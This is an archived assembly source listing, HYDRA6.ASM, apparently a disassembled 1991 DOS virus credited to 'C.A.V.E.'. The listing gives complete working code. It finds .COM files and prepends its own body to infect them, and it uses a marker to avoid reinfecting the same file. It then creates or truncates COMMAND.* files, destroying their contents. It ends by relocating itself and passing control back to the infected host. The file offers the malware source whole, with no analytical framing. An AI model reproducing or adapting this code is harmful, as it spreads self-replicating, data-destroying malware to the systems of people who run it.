home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HYDRA6.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  4KB  |  175 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    HYDRA6                         ██
  7. ;██                                         ██
  8. ;██      Created:   27-Aug-91                             ██
  9. ;██      Passes:    5           Analysis Options on: AW                 ██
  10. ;██      Copyright (c)                                 ██
  11. ;██                                         ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.  
  14. psp_cmd_size    equ    80h
  15. data_14e    equ    174h
  16. data_15e    equ    177h
  17.  
  18. seg_a        segment    byte public
  19.         assume    cs:seg_a, ds:seg_a
  20.  
  21.  
  22.         org    100h
  23.  
  24. hydra6        proc    far
  25.  
  26. start:
  27.         jmp    loc_1
  28.         pop    cx
  29.         inc    sp
  30.         add    [bx+si],al
  31. data_3        db    'HyDra-6   Beta - Not For Release'
  32.         db    '. *.CO?'
  33.         db    0
  34. data_6        dw    0, 8B39h
  35. data_8        dw    0
  36. data_9        db    0
  37.         db    29 dup (0)
  38. data_10        db    0
  39.         db    13 dup (0)
  40. copyright    db    'Copyright (c)'
  41.         db    '  1991 by C.A.V.E.  '
  42. data_11        db    'COMMAND.*', 0
  43. loc_1:
  44.         push    ax
  45.         mov    ax,cs
  46.         add    ax,1000h
  47.         xor    di,di            ; Zero register
  48.         mov    cx,174h
  49.         mov    si,100h
  50.         mov    es,ax
  51.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  52.         mov    ah,1Ah
  53.         mov    dx,offset data_9
  54.         int    21h            ; DOS Services  ah=function 1Ah
  55.                         ;  set DTA(disk xfer area) ds:dx
  56.         mov    ah,4Eh            ; 'N'
  57.         mov    dx,offset data_3+22h    ; ('*')
  58.         int    21h            ; DOS Services  ah=function 4Eh
  59.                         ;  find 1st filenam match @ds:dx
  60.         jc    loc_5            ; Jump if carry Set
  61. loc_2:
  62.         mov    ah,3Dh            ; '='
  63.         mov    al,2
  64.         mov    dx,offset data_10
  65.         int    21h            ; DOS Services  ah=function 3Dh
  66.                         ;  open file, al=mode,name@ds:dx
  67.         mov    bx,ax
  68.         push    es
  69.         pop    ds
  70.         mov    ax,3F00h
  71.         mov    cx,0FFFFh
  72.         mov    dx,data_14e
  73.         int    21h            ; DOS Services  ah=function 3Fh
  74.                         ;  read file, bx=file handle
  75.                         ;   cx=bytes to ds:dx buffer
  76.         add    ax,174h
  77.         mov    cs:data_8,ax
  78.         cmp    word ptr ds:data_15e,4459h
  79.         jne    loc_3            ; Jump if not equal
  80.         mov    ah,3Eh            ; '>'
  81.         int    21h            ; DOS Services  ah=function 3Eh
  82.                         ;  close file, bx=file handle
  83.         push    cs
  84.         pop    ds
  85.         mov    ah,4Fh            ; 'O'
  86.         int    21h            ; DOS Services  ah=function 4Fh
  87.                         ;  find next filename match
  88.         jc    loc_6            ; Jump if carry Set
  89.         jmp    short loc_2
  90. loc_3:
  91.         xor    cx,cx            ; Zero register
  92.         mov    dx,cx
  93.         mov    ax,4200h
  94.         int    21h            ; DOS Services  ah=function 42h
  95.                         ;  move file ptr, bx=file handle
  96.                         ;   al=method, cx,dx=offset
  97.         jc    loc_4            ; Jump if carry Set
  98.         mov    ah,40h            ; '@'
  99.         xor    dx,dx            ; Zero register
  100.         mov    cx,cs:data_8
  101.         int    21h            ; DOS Services  ah=function 40h
  102.                         ;  write file  bx=file handle
  103.                         ;   cx=bytes from ds:dx buffer
  104. loc_4:
  105.         mov    ah,3Eh            ; '>'
  106.         int    21h            ; DOS Services  ah=function 3Eh
  107.                         ;  close file, bx=file handle
  108.         push    cs
  109.         pop    ds
  110. loc_5:
  111.         mov    ah,1Ah
  112.         mov    dx,psp_cmd_size
  113.         int    21h            ; DOS Services  ah=function 1Ah
  114.                         ;  set DTA(disk xfer area) ds:dx
  115.         jmp    short loc_8
  116.         nop
  117. loc_6:
  118.         mov    ah,1Ah
  119.         mov    dx,offset data_9
  120.         int    21h            ; DOS Services  ah=function 1Ah
  121.                         ;  set DTA(disk xfer area) ds:dx
  122.         push    dx
  123.         mov    dx,offset data_11    ; ('COMMAND.*')
  124.         mov    ah,4Eh            ; 'N'
  125.         xor    cx,cx            ; Zero register
  126.         int    21h            ; DOS Services  ah=function 4Eh
  127.                         ;  find 1st filenam match @ds:dx
  128.         jc    loc_5            ; Jump if carry Set
  129. loc_7:
  130.         mov    ah,3Ch            ; '<'
  131.         xor    cx,cx            ; Zero register
  132.         mov    dx,offset data_10
  133.         int    21h            ; DOS Services  ah=function 3Ch
  134.                         ;  create/truncate file @ ds:dx
  135.         mov    bx,ax
  136.         jc    loc_5            ; Jump if carry Set
  137.         mov    ah,3Eh            ; '>'
  138.         int    21h            ; DOS Services  ah=function 3Eh
  139.                         ;  close file, bx=file handle
  140.         jc    loc_5            ; Jump if carry Set
  141.         mov    ah,4Fh            ; 'O'
  142.         int    21h            ; DOS Services  ah=function 4Fh
  143.                         ;  find next filename match
  144.         jnc    loc_7            ; Jump if carry=0
  145. loc_8:
  146.         xor    di,di            ; Zero register
  147.         mov    si,252h
  148.         mov    cx,22h
  149.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  150.         pop    bx
  151.         mov    cs:data_6,0
  152.         mov    word ptr cs:data_6+2,es
  153.         pop    bx
  154.         jmp    dword ptr cs:data_6
  155.         push    ds
  156.         pop    es
  157.         mov    cx,0FFFFh
  158.         mov    si,274h
  159.         mov    di,100h
  160.         sub    cx,si
  161.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  162.         mov    word ptr cs:[100h],100h
  163.         mov    word ptr cs:[102h],ds
  164.         mov    ax,bx
  165.         jmp    dword ptr cs:[100h]
  166.         int    20h            ; DOS program terminate
  167.  
  168. hydra6        endp
  169.  
  170. seg_a        ends
  171.  
  172.  
  173.  
  174.         end    start
  175.